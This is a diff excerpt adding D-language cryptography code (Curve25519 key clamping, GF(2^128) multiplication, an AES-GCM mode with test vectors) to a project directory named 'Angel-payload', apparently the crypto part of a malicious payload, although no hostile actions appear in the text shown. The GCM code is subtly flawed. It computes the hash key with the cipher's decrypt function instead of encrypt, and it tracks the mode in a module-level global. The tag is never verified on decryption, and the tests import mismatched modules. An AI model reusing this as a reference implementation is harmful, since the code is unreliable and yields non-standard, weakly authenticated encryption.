||||
tmp0 += z3;
|
||||
z3 = x1 * z2;
|
||||
|
||||
z2 = tmp0 * tmp1;
|
||||
}
|
||||
fe_cswap(x2,x3,swap);
|
||||
fe_cswap(z2,z3,swap);
|
||||
|
||||
x2 *= z2.inverse;
|
||||
return x2.toBytes;
|
||||
}
|
||||
|
||||
/// Transforms 32 random bytes into a valid secret key.
|
||||
///
|
||||
/// Params:
|
||||
/// sk = 32 byte secret key.
|
||||
package void clamp(ubyte[] sk) pure
|
||||
in {
|
||||
assert(sk.length == 32);
|
||||
} body {
|
||||
sk[0] &= 248;
|
||||
sk[31] &= 63;
|
||||
sk[31] |= 64;
|
||||
}
|
||||
36
full/Angel-payload/angel/utils/cryptography/exceptions.d
Normal file
36
full/Angel-payload/angel/utils/cryptography/exceptions.d
Normal file
@@ -0,0 +1,36 @@
|
||||
module angel.utils.cryptography.exceptions;
|
||||
|
||||
@safe
|
||||
public class InvalidKeyException : Exception {
|
||||
pure this(string msg) {
|
||||
super(msg);
|
||||
}
|
||||
}
|
||||
|
||||
@safe
|
||||
public class IllegalArgumentException : Exception {
|
||||
pure this(string msg) {
|
||||
super(msg);
|
||||
}
|
||||
}
|
||||
|
||||
@safe
|
||||
public class InvalidParameterException : Exception {
|
||||
pure this(string msg) {
|
||||
super(msg);
|
||||
}
|
||||
}
|
||||
|
||||
@safe
|
||||
public class InvalidCipherTextException : Exception {
|
||||
pure this(string msg) {
|
||||
super(msg);
|
||||
}
|
||||
}
|
||||
|
||||
@safe
|
||||
public class MaxBytesExceededException : Exception {
|
||||
pure this(string msg) {
|
||||
super(msg);
|
||||
}
|
||||
}
|
||||
1239
full/Angel-payload/angel/utils/cryptography/fieldelem.d
Normal file
1239
full/Angel-payload/angel/utils/cryptography/fieldelem.d
Normal file
File diff suppressed because it is too large
Load Diff
331
full/Angel-payload/angel/utils/cryptography/gcm/galoisfield.d
Normal file
331
full/Angel-payload/angel/utils/cryptography/gcm/galoisfield.d
Normal file
@@ -0,0 +1,331 @@
|
||||
module angel.utils.cryptography.gcm.galoisfield;
|
||||
|
||||
import std.traits: isIntegral;
|
||||
import std.array;
|
||||
|
||||
package:
|
||||
@safe
|
||||
struct GF128
|
||||
{
|
||||
|
||||
alias ubyte T;
|
||||
alias T[BLOCKLEN/(T.sizeof*8)] block;
|
||||
|
||||
enum BLOCKLEN = 128;
|
||||
|
||||
enum T R = 0xE1<<(T.sizeof*8-8);
|
||||
|
||||
enum T ONE = 0x80<<(T.sizeof*8-8);
|
||||
|
||||
/**
|
||||
* raises x to the power 'pow' by squaring
|
||||
* x <- x^pow
|
||||
*
|
||||
* Params:
|
||||
* x = this value gets raised to the power pow
|
||||
* pow = the power
|
||||
*/
|
||||
static void power(T)(T[] x, ulong pow) nothrow @nogc
|
||||
if(isIntegral!T)
|
||||
in {
|
||||
assert(x.length*T.sizeof*8 == BLOCKLEN, "invalid length. expected 16 bytes.");
|
||||
}
|
||||
body {
|
||||
block squared;
|
||||
squared[] = x[];
|
||||
|
||||
block exp;
|
||||
exp[0] = ONE; // little endian 1
|
||||
|
||||
block one;
|
||||
one[0] = ONE; // little endian 1
|
||||
|
||||
while(pow > 0) {
|
||||
|
||||
if(pow & 0x1) {
|
||||
multiply(exp, squared);
|
||||
} else {
|
||||
multiply(exp, one); // dummy multiplication to avoid timing attacks
|
||||
}
|
||||
|
||||
multiply(squared, squared);
|
||||
|
||||
pow = pow >> 1;
|
||||
}
|
||||
|
||||
x[] = exp[];
|
||||
}
|
||||
|
||||
// test power
|
||||
unittest {
|
||||
immutable ubyte[] x = cast(immutable ubyte[]) x"66e94bd4ef8a2c3b884cfa59ca342b2e";
|
||||
|
||||
ubyte[16] naivePow;
|
||||
naivePow[0] = 0x80; // little endian 1
|
||||
|
||||
immutable uint pow = 13;
|
||||
|
||||
for(uint i = 0; i < pow; ++i) {
|
||||
multiply(naivePow, x);
|
||||
}
|
||||
|
||||
ubyte[16] powBySquare;
|
||||
powBySquare[] = x[];
|
||||
|
||||
power(powBySquare, pow);
|
||||
|
||||
assert(naivePow == powBySquare, "power() failed");
|
||||
}
|
||||
|
||||
/// Multiplies x by y using schoolbook multiplication. Result stored in x.
|
||||
static void multiply(T[] x, in T[] y) nothrow @nogc
|
||||
in {
|
||||
assert(x.length*T.sizeof*8 == BLOCKLEN, "x: invalid length.");
|
||||
}
|
||||
body {
|
||||
|
||||
block v = x;
|
||||
block z;
|
||||
|
||||
for(uint i = 0; i < y.length; ++i) {
|
||||
T currWord = y[i];
|
||||
|
||||
for(int j = T.sizeof*8-1; j >= 0; --j) {
|
||||
|
||||
// if((currWord >> j) & 0x01) {
|
||||
// z[] ^= v[];
|
||||
// }
|
||||
// avoid branching:
|
||||
//z[] ^= v[]&(-(cast(T)((currWord >> j) & 1)));
|
||||
z[] ^= v[] & cast(T)(-cast(int)((currWord >> j) & 1)); // less prone to timing attacks than if statement
|
||||
|
||||
T lsb = v[$-1] & 1;
|
||||
shiftRight(v);
|
||||
|
||||
// if(lsb) {
|
||||
// v[0] ^= R;
|
||||
// }
|
||||
// Avoid branching by using conditional XOR:
|
||||
v[0] ^= R&(-lsb); // -lsb is either 0x00, or 0xFF
|
||||
}
|
||||
}
|
||||
|
||||
x[] = z[];
|
||||
}
|
||||
|
||||
/// test multiplication by one
|
||||
unittest {
|
||||
immutable block x0 = cast(immutable block) x"66e94bd4ef8a2c3b884cfa59ca342b2e";
|
||||
block x1 = x0;
|
||||
|
||||
block one;
|
||||
one[0] = ONE;
|
||||
|
||||
multiply(x1, one);
|
||||
|
||||
assert(x1 == x0, "GCM multiplication by ONE failed!");
|
||||
}
|
||||
|
||||
/// test multiplication
|
||||
unittest {
|
||||
|
||||
immutable block H = cast(immutable block)x"66e94bd4ef8a2c3b884cfa59ca342b2e";
|
||||
|
||||
block x1 = cast(immutable block) x"0388dace60b6a392f328c2b971b2fe78";
|
||||
|
||||
multiply(x1, H);
|
||||
|
||||
assert(x1 == x"5e2ec746917062882c85b0685353deb7", "GCM multiplication failed!");
|
||||
}
|
||||
|
||||
// http://www.ieee802.org/1/files/public/docs2011/bn-randall-test-vectors-0511-v1.pdf
|
||||
unittest {
|
||||
|
||||
immutable block H = cast(immutable block) x"73A23D80121DE2D5A850253FCF43120E";
|
||||
block X1 = cast(immutable block) x"D609B1F056637A0D46DF998D88E5222A";
|
||||
|
||||
multiply(X1, H);
|
||||
|
||||
assert(X1 == x"6B0BE68D67C6EE03EF7998E399C01CA4", "GCM multiplication failed!");
|
||||
}
|
||||
|
||||
// http://www.ieee802.org/1/files/public/docs2011/bn-randall-test-vectors-0511-v1.pdf
|
||||
unittest {
|
||||
|
||||
immutable block H = cast(immutable block) x"286D73994EA0BA3CFD1F52BF06A8ACF2";
|
||||
block X1 = cast(immutable block) x"D609B1F056637A0D46DF998D88E5222A";
|
||||
|
||||
multiply(X1, H);
|
||||
|
||||
assert(X1 == x"BA7C26F578254853CF321281A48317CA", "GCM multiplication failed!");
|
||||
}
|
||||
|
||||
// http://www.ieee802.org/1/files/public/docs2011/bn-randall-test-vectors-0511-v1.pdf
|
||||
unittest {
|
||||
|
||||
immutable block H = cast(immutable block) x"E4E01725D724C1215C7309AD34539257";
|
||||
block X1 = cast(immutable block) x"E20106D7CD0DF0761E8DCD3D88E54000";
|
||||
|
||||
multiply(X1, H);
|
||||
|
||||
assert(X1 == x"8DAD4981E33493018BB8482F69E4478C", "GCM multiplication failed!");
|
||||
}
|
||||
|
||||
/**
|
||||
* multiplication by P (only bit 1 = 1)
|
||||
*/
|
||||
static void multiplyP(T[] x) nothrow @nogc
|
||||
in {
|
||||
assert(x.length == 16, "x: invalid length. must be 16.");
|
||||
}
|
||||
body {
|
||||
T lsb = x[$-1] & 0x01;
|
||||
shiftRight(x);
|
||||
x[0] ^= R * lsb;
|
||||
}
|
||||
|
||||
// test multiplyP()
|
||||
unittest {
|
||||
|
||||
block X = cast(immutable block) x"E20106D7CD0DF0761E8DCD3D88E54000";
|
||||
immutable block P = cast(immutable block) x"40000000000000000000000000000000";
|
||||
|
||||
block XmultP;
|
||||
XmultP = X;
|
||||
|
||||
multiplyP(XmultP);
|
||||
|
||||
multiply(X, P);
|
||||
|
||||
assert(X == XmultP, "multiplyP() failed");
|
||||
}
|
||||
|
||||
/**
|
||||
* multiplication by P^8
|
||||
*/
|
||||
static void multiplyP8(T)(T[] x)
|
||||
{
|
||||
T lsw = x[$-1];
|
||||
shiftRight8(x);
|
||||
for (int i = 7; i >= 0; --i)
|
||||
{
|
||||
// if (lsw & (1 << i))
|
||||
// {
|
||||
// x[0] ^= ((R<<(T.sizeof*8-8)) >> (7 - i));
|
||||
// }
|
||||
// avoid branching:
|
||||
x[0] ^= (((R<<(T.sizeof*8-8)) >> (7 - i))) * (lsw & (1 << i));
|
||||
}
|
||||
}
|
||||
|
||||
// test multiplyP8()
|
||||
unittest {
|
||||
|
||||
block X = cast(immutable block) x"E20106D7CD0DF0761E8DCD3D88E54000";
|
||||
immutable block P = cast(immutable block) x"40000000000000000000000000000000";
|
||||
|
||||
block XmultP8;
|
||||
XmultP8 = X;
|
||||
|
||||
multiplyP8(XmultP8);
|
||||
|
||||
foreach(i;0..8){
|
||||
multiply(X, P);
|
||||
}
|
||||
|
||||
assert(X == XmultP8, "multiplyP8() failed");
|
||||
}
|
||||
|
||||
/**
|
||||
* Shift big endian number a 1 bit to the right.
|
||||
*/
|
||||
static void shiftRight(T)(T[] a) nothrow @nogc
|
||||
if(isIntegral!T)
|
||||
{
|
||||
T carryBit = 0;
|
||||
for(size_t i = 0; i < a.length; ++i) {
|
||||
T b = a[i];
|
||||
a[i] >>= 1;
|
||||
a[i] |= carryBit;
|
||||
carryBit = cast(T)(b << (T.sizeof * 8 - 1));
|
||||
}
|
||||
}
|
||||
|
||||
// test right shift with bytes
|
||||
unittest {
|
||||
ubyte[] a = [0xf1,0x83,0x01];
|
||||
shiftRight(a);
|
||||
assert(a == [0x78,0xc1,0x80], "right shift failed");
|
||||
}
|
||||
|
||||
// test shiftRight
|
||||
unittest {
|
||||
|
||||
ubyte[16] a = cast(immutable ubyte[16]) x"59ed3f2bb1a0aaa07c9f56c6a504647b";
|
||||
foreach(i;0..8) {
|
||||
shiftRight(a);
|
||||
}
|
||||
|
||||
assert(a == x"0059ed3f2bb1a0aaa07c9f56c6a50464", "right shift failed");
|
||||
}
|
||||
|
||||
// with ints
|
||||
unittest {
|
||||
uint[] a = [0xfedcba98,0x76543210];
|
||||
foreach(i;0..8) {
|
||||
shiftRight(a);
|
||||
}
|
||||
assert(a == [0x00fedcba,0x98765432], "right shift failed");
|
||||
}
|
||||
|
||||
// with longs
|
||||
unittest {
|
||||
ulong[] a = [0x59ed3f2bb1a0aaa0,0x7c9f56c6a504647b];
|
||||
foreach(i;0..8) {
|
||||
shiftRight(a);
|
||||
}
|
||||
assert(a == [0x0059ed3f2bb1a0aa,0xa07c9f56c6a50464], "right shift failed");
|
||||
}
|
||||
|
||||
/**
|
||||
* Shift big endian number a 8 bits to the right.
|
||||
*/
|
||||
static void shiftRight8(T)(T[] a) nothrow @nogc {
|
||||
T carryBit = 0;
|
||||
for(size_t i = 0; i < a.length; ++i) {
|
||||
T b = a[i];
|
||||
a[i] >>= 8;
|
||||
a[i] |= carryBit;
|
||||
carryBit = cast(T)(b << (T.sizeof * 8 - 8));
|
||||
}
|
||||
}
|
||||
|
||||
// static void shiftRight(T)(T[] a, ubyte n) nothrow @nogc {
|
||||
// T carryBit = 0;
|
||||
// for(size_t i = 0; i < a.length; ++i) {
|
||||
// T b = a[i];
|
||||
// a[i] >>= n;
|
||||
// a[i] |= carryBit;
|
||||
// carryBit = cast(T)(b << (T.sizeof * 8 - n));
|
||||
// }
|
||||
// }
|
||||
|
||||
|
||||
// static void shiftRight(ubyte[] a, ubyte n) nothrow @nogc {
|
||||
// shiftRight(cast(uint[])a, n);
|
||||
// }
|
||||
|
||||
// test shiftRight8()
|
||||
unittest {
|
||||
ubyte[16] a = cast(immutable ubyte[16])x"59ed3f2bb1a0aaa07c9f56c6a504647b";
|
||||
ubyte[16] b = a;
|
||||
foreach(i;0..8) {
|
||||
shiftRight(a);
|
||||
}
|
||||
|
||||
shiftRight8(b);
|
||||
|
||||
assert(a == b, "right shift by 8 bits failed");
|
||||
}
|
||||
|
||||
}
|
||||
840
full/Angel-payload/angel/utils/cryptography/gcm/gcm.d
Normal file
840
full/Angel-payload/angel/utils/cryptography/gcm/gcm.d
Normal file
@@ -0,0 +1,840 @@
|
||||
module angel.utils.cryptography.gcm.gcm;
|
||||
|
||||
public import angel.utils.cryptography.aead;
|
||||
import angel.utils.cryptography.gcm.ghash;
|
||||
import angel.utils.cryptography.gcm.multiplier;
|
||||
|
||||
public import angel.utils.cryptography.exceptions: InvalidCipherTextException, IllegalArgumentException;
|
||||
|
||||
|
||||
/// Implementation of the Galois/Counter mode (GCM)
|
||||
/// as described in NIST Special Publication 800-38D
|
||||
///
|
||||
/// Standards: NIST Special Publication 800-38D
|
||||
|
||||
|
||||
// TODO Shoup tables
|
||||
// TODO support for uneven macSize
|
||||
|
||||
//alias GCMEngine(T) = AEADCipherWrapper!(GCM!T); // would be nice but does not yet work
|
||||
|
||||
import angel.utils.cryptography.aes;
|
||||
//static assert(isAEADCipher!(GCM!AES), "GCM ist not a AEADCipher.");
|
||||
|
||||
///
|
||||
bool state; /// 1 encrypt, 0 decrypt
|
||||
/// usage of OOP API:
|
||||
/// auto aes_gcm = new AEADCipherWrapper!(GCM!AES)();
|
||||
///
|
||||
@safe
|
||||
public struct GCM(T) if(is(T == void) || (isBlockCipher!T && T.blockSize == 16))
|
||||
{
|
||||
|
||||
private enum OOP = is(T == void); // use OOP API
|
||||
|
||||
public enum blockSize = 16;
|
||||
public enum macSize = 16;
|
||||
|
||||
// if T == void: use OOP API for underlying block cipher
|
||||
static if(OOP) {
|
||||
/**
|
||||
* Params:
|
||||
* c = underlying BlockCipher
|
||||
*/
|
||||
public this(IBlockCipher c)
|
||||
in {
|
||||
assert(c.blockSize() == blockSize, "GCM: block size of underlying cipher must be 128 bits!");
|
||||
}
|
||||
body {
|
||||
blockCipher = c;
|
||||
}
|
||||
} else {
|
||||
static assert(T.blockSize == blockSize, "GCM: block size of underlying cipher must be 128 bits!");
|
||||
}
|
||||
|
||||
private {
|
||||
|
||||
static if(OOP) {
|
||||
IBlockCipher blockCipher;
|
||||
} else {
|
||||
T blockCipher; /// underlying BlockCipher
|
||||
}
|
||||
|
||||
GHash gHash; /// provides the multiplication in GF(2^128) by H
|
||||
CircularBlockBuffer!blockSize buf; /// stores input data before processing
|
||||
|
||||
ubyte[blockSize] Y; /// counter
|
||||
ubyte[blockSize] E0; /// E(key, Y0), needed to derive AuthTag from GHASH
|
||||
ubyte[blockSize] mac; /// used to store the encrypted ghash TODO: use other buffer, e.g. E0 itself
|
||||
|
||||
ubyte[blockSize] initialY; /// used to reset Y
|
||||
|
||||
ubyte[] userKey;
|
||||
ubyte[] iv;
|
||||
bool initialized = false; /// True if and only if GCM has been initialized
|
||||
}
|
||||
|
||||
public {
|
||||
|
||||
/// Initialize the underlying cipher.
|
||||
/// Params:
|
||||
/// forEncryption = true if we are setting up for encryption, false otherwise.
|
||||
/// key = Secret key.
|
||||
/// nonce = Number used only once.
|
||||
void start(in ubyte[] key, in ubyte[] iv) nothrow @nogc
|
||||
in {
|
||||
assert(iv !is null, "Must provide an IV.");
|
||||
}
|
||||
body {
|
||||
|
||||
//this.forEncryption = forEncryption;
|
||||
|
||||
// init underyling cipher
|
||||
blockCipher.start(key);
|
||||
|
||||
// init gHash
|
||||
ubyte[blockSize] H;
|
||||
H[] = 0;
|
||||
blockCipher.decrypt(H,H); // calculate H=E(K,0^128);
|
||||
|
||||
gHash.init(H);
|
||||
|
||||
// init IV
|
||||
if(iv.length == 12) { // 96 bit IV is optimal
|
||||
Y[0..iv.length] = iv[];
|
||||
Y[$-1] = 1;
|
||||
}else {
|
||||
gHash.updateCipherData(iv);
|
||||
gHash.doFinal(Y);
|
||||
}
|
||||
|
||||
// generate key stream used later to encrypt ghash
|
||||
genNextKeyStreamBlock(E0);
|
||||
|
||||
initialY = Y; // remember this to reset the cipher
|
||||
|
||||
initialized = true;
|
||||
}
|
||||
|
||||
|
||||
|
||||
static if(OOP) {
|
||||
/**
|
||||
* Returns: the algorithm name.
|
||||
*/
|
||||
string name() pure nothrow {
|
||||
return blockCipher.name ~ "/GCM";
|
||||
}
|
||||
} else {
|
||||
public enum name = T.name~"/GCM";
|
||||
}
|
||||
|
||||
static if(OOP) {
|
||||
/**
|
||||
* Returns: the cipher this object wraps.
|
||||
*/
|
||||
IBlockCipher getUnderlyingCipher() pure nothrow @nogc {
|
||||
return blockCipher;
|
||||
}
|
||||
} else {
|
||||
/**
|
||||
* Returns: the cipher this object wraps.
|
||||
*/
|
||||
ref T getUnderlyingCipher() pure nothrow @nogc {
|
||||
return blockCipher;
|
||||
}
|
||||
}
|
||||
|
||||
/// Process additional authenticated data.
|
||||
void processAADBytes(in ubyte[] aad...) nothrow @nogc
|
||||
in {
|
||||
assert(initialized, "not initialized");
|
||||
}
|
||||
body {
|
||||
gHash.updateAAD(aad);
|
||||
}
|
||||
|
||||
/// Process a block of bytes from in putting the result into out.
|
||||
///
|
||||
/// Params:
|
||||
/// input = The input byte array.
|
||||
/// output = The output buffer the processed bytes go into.
|
||||
///
|
||||
/// Returns:
|
||||
/// Returns a slice pointing to the output data.
|
||||
ubyte[] encrypt(in ubyte[] input, ubyte[] output) nothrow {
|
||||
state = 1;
|
||||
return processBytes(input, output);
|
||||
}
|
||||
ubyte[] decrypt(in ubyte[] input, ubyte[] output) nothrow {
|
||||
state = 0;
|
||||
return processBytes(input, output);
|
||||
}
|
||||
|
||||
ubyte[] processBytes(in ubyte[] input, ubyte[] output) nothrow
|
||||
in {
|
||||
assert(initialized, "not initialized");
|
||||
assert(output.length >= getUpdateOutputSize(input.length), "output buffer too short");
|
||||
}
|
||||
body {
|
||||
|
||||
import std.algorithm: min;
|
||||
|
||||
size_t outputBytes = 0;
|
||||
|
||||
const(ubyte)[] iBuf = input;
|
||||
ubyte[] outPtr = output;
|
||||
|
||||
while(iBuf.length > 0) {
|
||||
if(buf.isFull()) {
|
||||
// encrypt one block
|
||||
outputBlock(outPtr);
|
||||
outPtr = outPtr[blockSize..$];
|
||||
outputBytes += blockSize;
|
||||
}
|
||||
|
||||
// copy max one block to the buffer
|
||||
size_t procLen = buf.put(iBuf);
|
||||
iBuf = iBuf[procLen..$];
|
||||
}
|
||||
|
||||
return output[0..outputBytes];
|
||||
}
|
||||
|
||||
|
||||
/// Finish the operation. Does not append mac tag to the cipher text.
|
||||
/// Mac tag does NOT get verified in decryption mode.
|
||||
///
|
||||
/// Params: out = space for any resulting output data.
|
||||
/// Returns: number of bytes written into out.
|
||||
size_t finish(ubyte[] macBuf, ubyte[] output) nothrow
|
||||
in {
|
||||
assert(initialized, "not initialized");
|
||||
|
||||
assert(output.length >= buf.length, "output buffer too small");
|
||||
assert(macBuf.length == 16, "MAC buffer must be 16 bytes.");
|
||||
}
|
||||
body{
|
||||
|
||||
size_t outputBytes = 0;
|
||||
|
||||
// if(!forEncryption) {
|
||||
// if(buf.length < macLen) {
|
||||
// throw new InvalidCipherTextException("ciphertext so short that it can't even contain the MAC");
|
||||
// }
|
||||
// }
|
||||
|
||||
size_t partialBlockLen = buf.length;
|
||||
|
||||
ubyte[2*blockSize] lastBlocks; // last two blocks. probably not full. last few bytes are the token.
|
||||
|
||||
|
||||
// copy partial cipher data block
|
||||
buf.drainAll(lastBlocks);
|
||||
|
||||
assert(output.length >= partialBlockLen, "output buffer too short");
|
||||
// encrypt last partial block
|
||||
ubyte[2*blockSize] keyStream;
|
||||
|
||||
// generate two blocks of key stream
|
||||
genNextKeyStreamBlock(keyStream[0..blockSize]);
|
||||
genNextKeyStreamBlock(keyStream[blockSize..2*blockSize]);
|
||||
|
||||
output[0..partialBlockLen] = lastBlocks[0..partialBlockLen] ^ keyStream[0..partialBlockLen];
|
||||
|
||||
gHash.updateCipherData(state ? output[0..partialBlockLen] : lastBlocks[0..partialBlockLen]);
|
||||
|
||||
output = output[partialBlockLen..$];
|
||||
outputBytes += partialBlockLen;
|
||||
|
||||
// calculate the hash
|
||||
ubyte[16] mac;
|
||||
gHash.doFinal(mac);
|
||||
|
||||
mac[] ^= E0[]; // calculate the token
|
||||
|
||||
macBuf[0..16] = mac[];
|
||||
|
||||
return outputBytes;
|
||||
}
|
||||
|
||||
/// Returns: Return the size of the output buffer required for a processBytes an input of len bytes.
|
||||
size_t getUpdateOutputSize(size_t len) nothrow @nogc pure const {
|
||||
size_t total = len + buf.length;
|
||||
//return (total + blockSize - 1) && (~blockSize+1);
|
||||
return total - (total % blockSize);
|
||||
}
|
||||
|
||||
|
||||
/// Returns: Return the size of the output buffer required for a processBytes plus a finish with an input of len bytes.
|
||||
size_t getOutputSize(size_t len) nothrow @nogc pure const {
|
||||
return len;
|
||||
}
|
||||
|
||||
/// Reset the cipher. After resetting the cipher is in the same state
|
||||
/// as it was after the last init (if there was one).
|
||||
void reset() nothrow
|
||||
{
|
||||
gHash.reset();
|
||||
buf.reset();
|
||||
|
||||
Y = initialY;
|
||||
blockCipher.reset();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private nothrow @safe @nogc {
|
||||
|
||||
/**
|
||||
* generates the next key stream block by incrementing the counter
|
||||
* and encrypting it.
|
||||
*
|
||||
* bufOff is set to 0
|
||||
*/
|
||||
void genNextKeyStreamBlock(ubyte[] buf)
|
||||
in {
|
||||
assert(buf.length == blockSize);
|
||||
//assert(keyStreamBufOff == BLOCKSIZE, "not yet ready to generate next block");
|
||||
}
|
||||
body {
|
||||
blockCipher.encrypt(Y,buf);
|
||||
incrCounter();
|
||||
}
|
||||
|
||||
/**
|
||||
* encrypt or decrypt a block and write it to output
|
||||
* update GHash
|
||||
*/
|
||||
void outputBlock(ubyte[] output)
|
||||
in {
|
||||
assert(output.length >= blockSize, "output buffer too short");
|
||||
assert(buf.length >= blockSize, "not enough data in buffer");
|
||||
}
|
||||
body {
|
||||
ubyte[blockSize] keyStream;
|
||||
ubyte[blockSize] inputBuf;
|
||||
genNextKeyStreamBlock(keyStream);
|
||||
|
||||
buf.drainBlock(inputBuf);
|
||||
|
||||
// encrypt the buffer
|
||||
output[0..blockSize] = keyStream[0..blockSize] ^ inputBuf[0..blockSize];
|
||||
|
||||
// update gHash
|
||||
gHash.updateCipherData(state ? output[0..blockSize] : inputBuf[0..blockSize]);
|
||||
}
|
||||
|
||||
/**
|
||||
* increment Y by 1
|
||||
* treats rightmost 32 bits as uint, lsb on the right
|
||||
*/
|
||||
void incrCounter() {
|
||||
for(uint i = blockSize -1; i >= blockSize-4; --i) {
|
||||
if(++Y[i] != 0) {
|
||||
break;
|
||||
}
|
||||
// increment next element on overflow of the previous
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/// Test with test vectors from
|
||||
/// http://www.ieee802.org/1/files/public/docs2011/bn-randall-test-vectors-0511-v1.pdf
|
||||
/// section 2.2.1
|
||||
unittest {
|
||||
import dcrypt.blockcipher.aes;
|
||||
|
||||
alias const(ubyte)[] octets;
|
||||
|
||||
octets key = cast(octets)x"AD7A2BD03EAC835A6F620FDCB506B345";
|
||||
octets iv = cast(octets)x"12153524C0895E81B2C28465"; // 96 bits
|
||||
|
||||
GCM!AES gcm;
|
||||
gcm.start(key, iv);
|
||||
|
||||
ubyte[48] output;
|
||||
ubyte[] oBuf = output;
|
||||
size_t outLen;
|
||||
|
||||
gcm.processAADBytes(cast(octets)x"D609B1F056637A0D46DF998D88E52E00");
|
||||
|
||||
outLen = gcm.processBytes(cast(octets)x"08000F101112131415161718191A1B1C", oBuf).length;
|
||||
oBuf = oBuf[outLen..$];
|
||||
outLen = gcm.processBytes(cast(octets)x"1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A", oBuf).length;
|
||||
oBuf = oBuf[outLen..$];
|
||||
|
||||
outLen = gcm.processBytes(cast(octets)x"0002", oBuf).length;
|
||||
oBuf = oBuf[outLen..$];
|
||||
|
||||
gcm.processAADBytes(cast(octets)x"B2C2846512153524C0895E81");
|
||||
ubyte[16] mac;
|
||||
outLen = gcm.finish(mac, oBuf);
|
||||
// import std.stdio;
|
||||
// writefln("%(%x%)", output);
|
||||
assert(output == cast(octets)x"701AFA1CC039C0D765128A665DAB69243899BF7318CCDC81C9931DA17FBE8EDD7D17CB8B4C26FC81E3284F2B7FBA713D");
|
||||
assert(mac == cast(octets)x"4F8D55E7D3F06FD5A13C0C29B9D5B880");
|
||||
}
|
||||
|
||||
/// test decryption
|
||||
/// test vectors from
|
||||
/// http://www.ieee802.org/1/files/public/docs2011/bn-randall-test-vectors-0511-v1.pdf
|
||||
/// section 2.2.1
|
||||
unittest {
|
||||
import dcrypt.blockcipher.aes;
|
||||
|
||||
alias const(ubyte)[] octets;
|
||||
|
||||
octets key = cast(octets)x"AD7A2BD03EAC835A6F620FDCB506B345";
|
||||
octets iv = cast(octets)x"12153524C0895E81B2C28465"; // 96 bits
|
||||
|
||||
GCM!AES gcm;
|
||||
gcm.start(key, iv);
|
||||
|
||||
ubyte[48] output;
|
||||
ubyte[] oBuf = output;
|
||||
size_t outLen;
|
||||
|
||||
gcm.processAADBytes(cast(octets)x"D609B1F056637A0D46DF998D88E52E00");
|
||||
|
||||
// add ciphertext
|
||||
outLen = gcm.processBytes(cast(octets)
|
||||
x"701AFA1CC039C0D765128A665DAB6924
|
||||
3899BF7318CCDC81C9931DA17FBE8EDD
|
||||
7D17CB8B4C26FC81E3284F2B7FBA713D", oBuf).length;
|
||||
oBuf = oBuf[outLen..$];
|
||||
|
||||
gcm.processAADBytes(cast(octets)x"B2C2846512153524C0895E81");
|
||||
ubyte[16] mac;
|
||||
outLen = gcm.finish(mac, oBuf);
|
||||
// import std.stdio;
|
||||
// writefln("%(%.2x%)", output);
|
||||
|
||||
assert(output ==
|
||||
x"08000F101112131415161718191A1B1
|
||||
C1D1E1F202122232425262728292A2B
|
||||
2C2D2E2F303132333435363738393A0002");
|
||||
|
||||
assert(mac == x"4F8D55E7D3F06FD5A13C0C29B9D5B880");
|
||||
}
|
||||
|
||||
/// Test decryption with modified cipher data. An exception should be thrown beacause of wrong token.
|
||||
///
|
||||
/// test vectors from
|
||||
/// http://www.ieee802.org/1/files/public/docs2011/bn-randall-test-vectors-0511-v1.pdf
|
||||
/// section 2.2.1
|
||||
unittest {
|
||||
import dcrypt.blockcipher.aes;
|
||||
|
||||
alias const(ubyte)[] octets;
|
||||
|
||||
octets key = cast(octets)x"AD7A2BD03EAC835A6F620FDCB506B345";
|
||||
octets iv = cast(octets)x"12153524C0895E81B2C28465"; // 96 bits
|
||||
|
||||
GCM!AES gcm;
|
||||
gcm.start(key, iv);
|
||||
|
||||
ubyte[48] output;
|
||||
ubyte[] oBuf = output[];
|
||||
size_t outLen;
|
||||
|
||||
gcm.processAADBytes(cast(octets)x"D609B1F056637A0D46DF998D88E52E00");
|
||||
|
||||
// add ciphertext
|
||||
outLen = gcm.processBytes(cast(octets)
|
||||
x"701AFA1CC039C0D765128A665DAB6924
|
||||
3899BF7318CCDC81C9931DA17FBE8EDD
|
||||
7D17CB8B4C26FC81E3284F2B7FBA713D", oBuf).length; // 880 has been changed do EEF
|
||||
oBuf = oBuf[outLen..$];
|
||||
|
||||
gcm.processAADBytes(cast(octets)x"B2C2846512153524C0895E81");
|
||||
ubyte[16] mac;
|
||||
outLen = gcm.finish(mac, oBuf);
|
||||
assert(mac != x"4F8D55E7D3F06FD5A13C0C29B9D5BEEF");
|
||||
}
|
||||
|
||||
/// Test decryption with altered AAD. An exception should be thrown beacause of wrong token.
|
||||
///
|
||||
/// test vectors from
|
||||
/// http://www.ieee802.org/1/files/public/docs2011/bn-randall-test-vectors-0511-v1.pdf
|
||||
/// section 2.2.1
|
||||
unittest {
|
||||
import dcrypt.blockcipher.aes;
|
||||
|
||||
alias const(ubyte)[] octets;
|
||||
|
||||
octets key = cast(octets)x"AD7A2BD03EAC835A6F620FDCB506B345";
|
||||
octets iv = cast(octets)x"12153524C0895E81B2C28465"; // 96 bits
|
||||
|
||||
GCM!AES gcm;
|
||||
gcm.start(key, iv);
|
||||
|
||||
ubyte[48] output;
|
||||
ubyte[] oBuf = output;
|
||||
size_t outLen;
|
||||
|
||||
gcm.processAADBytes(cast(octets)x"D609B1F056637A0D46DF998D88E52E00");
|
||||
|
||||
// add ciphertext
|
||||
outLen = gcm.processBytes(cast(octets)
|
||||
x"701AFA1CC039C0D765128A665DAB6924
|
||||
3899BF7318CCDC81C9931DA17FBE8EDD
|
||||
7D17CB8B4C26FC81E3284F2B7FBA713D", oBuf).length;
|
||||
oBuf = oBuf[outLen..$];
|
||||
|
||||
gcm.processAADBytes(cast(octets)x"B2C2846512153524C089beef"); // changed 5E81 to beef
|
||||
ubyte[16] mac;
|
||||
gcm.finish(mac, oBuf);
|
||||
assert(mac != x"4F8D55E7D3F06FD5A13C0C29B9D5B880");
|
||||
// verify that an InvalidCipherTextException is thrown
|
||||
// bool exception = false;
|
||||
// try {
|
||||
// outLen = gcm.finish(oBuf);
|
||||
// } catch (InvalidCipherTextException e) {
|
||||
// exception = true;
|
||||
// }
|
||||
// assert(exception, "AAD has been altered but no exception has been thrown!");
|
||||
}
|
||||
|
||||
// test vectors from
|
||||
// gcm-spec: Test Case 6
|
||||
unittest {
|
||||
|
||||
import utils.cryptography.aes;
|
||||
|
||||
alias const(ubyte)[] octets;
|
||||
|
||||
octets key = cast(octets)x"feffe9928665731c6d6a8f9467308308";
|
||||
